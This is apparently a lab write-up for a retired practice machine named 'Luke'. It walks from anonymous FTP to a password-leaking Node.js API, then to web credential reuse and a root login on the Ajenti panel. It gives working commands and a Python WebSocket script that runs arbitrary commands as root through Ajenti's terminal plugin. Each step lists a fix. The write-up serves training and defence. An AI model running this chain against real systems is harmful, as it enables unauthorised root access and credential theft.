Luke
Summary
Target luke ($TARGET) ran five exposed services: an anonymous FTP server, Apache/PHP on port 80 with a protected management path, a Node.js Express API on port 3000, and the Ajenti web admin panel on port 8000. An anonymous FTP connection retrieved a plaintext administrator note containing the API password.
That credential unlocked the Node.js API, which returned every user's password in its response — including credentials for the 'derry' account. Derry's password satisfied the HTTP Basic-Auth challenge on the management endpoint, whose config file revealed the operating-system root password in plain text.
SSH was network-filtered, so the root password was tried against the Ajenti panel, which accepted it. Because Ajenti runs its management daemon as the root OS user and exposes a built-in terminal, I reverse-engineered its legacy Socket.IO 0.9 WebSocket protocol to drive the terminal plugin and execute arbitrary commands as root — capturing both flags without any separate privilege-escalation exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 21,22,80,3000,8000 $TARGETcurl -s -I http://$TARGET:8000/Exact commands 3
curl -s ftp://$USERNAME:$PASSWORD@$TARGET/curl -s ftp://$USERNAME:$PASSWORD@$TARGET/webapp/curl -s ftp://$USERNAME:$PASSWORD@$TARGET/webapp/for_Chihiro.txtFixDisable anonymous FTP and remove credentials from FTP-accessible storageCritical
Exact commands 2
TOKEN=$(curl -s -H 'Content-Type: application/json' -d '{"username":"admin","password":"$PASSWORD2"}' http://$TARGET:3000/login | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))")curl -s -H "Authorization: Bearer $TOKEN" http://$TARGET:3000/usersFixEnforce role-based authorization on the API and never return plaintext passwordsCritical
Exact commands 1
curl -s -u 'derry:<derry-password-from-step3>' http://$TARGET/management/FixRemove OS-level credentials from web-accessible configuration filesCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh root@$TARGETcurl -s -c ajenti.cookie -X POST -d "username=root&password=$PASSWORD" http://$TARGET:8000/ajenti:auth -D -FixRemove the Ajenti panel from the network perimeter and do not run it as rootCritical
Exact commands 2
SID=$(curl -s --cookie-jar - -b ajenti.cookie "http://$TARGET:8000/socket.io/1/" | awk -F: '{print $1}')
echo "SID: $SID"python3 - <<'EOF'
import websocket, json, time, http.cookiejar, urllib.request
cookie = open('ajenti.cookie').read() # ajenti session cookie value
SID = "<sid-from-handshake>" # replace with SID from handshake above
ws = websocket.create_connection(
f"ws://$TARGET:8000/socket.io/1/websocket/{SID}",
header=[f"Cookie: {cookie}"]
)
ws.send("1::/terminal") # Socket.IO 0.9 namespace connect
time.sleep(0.5)
# Send command to textbox control (uid 16165) then click Run (uid 16166)
CMD = "id; cat /home/*/user.txt; cat /root/root.txt"
ws.send("5::/terminal:" + json.dumps({"name": "set", "args": [{"id": 16165, "value": CMD}]}))
time.sleep(0.3)
ws.send("5::/terminal:" + json.dumps({"name": "run", "args": [{"id": 16166}]}))
time.sleep(1.5)
for _ in range(12):
try: print(ws.recv())
except: break
EOFExact commands 2
cat /home/*/user.txtcat /root/root.txtExposed services
| 21/tcp | ftp vsftpd 3.0.3+ (ext.1) |
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) |
| 3000/tcp | http Node.js Express framework |
| 8000/tcp | http Ajenti http control panel |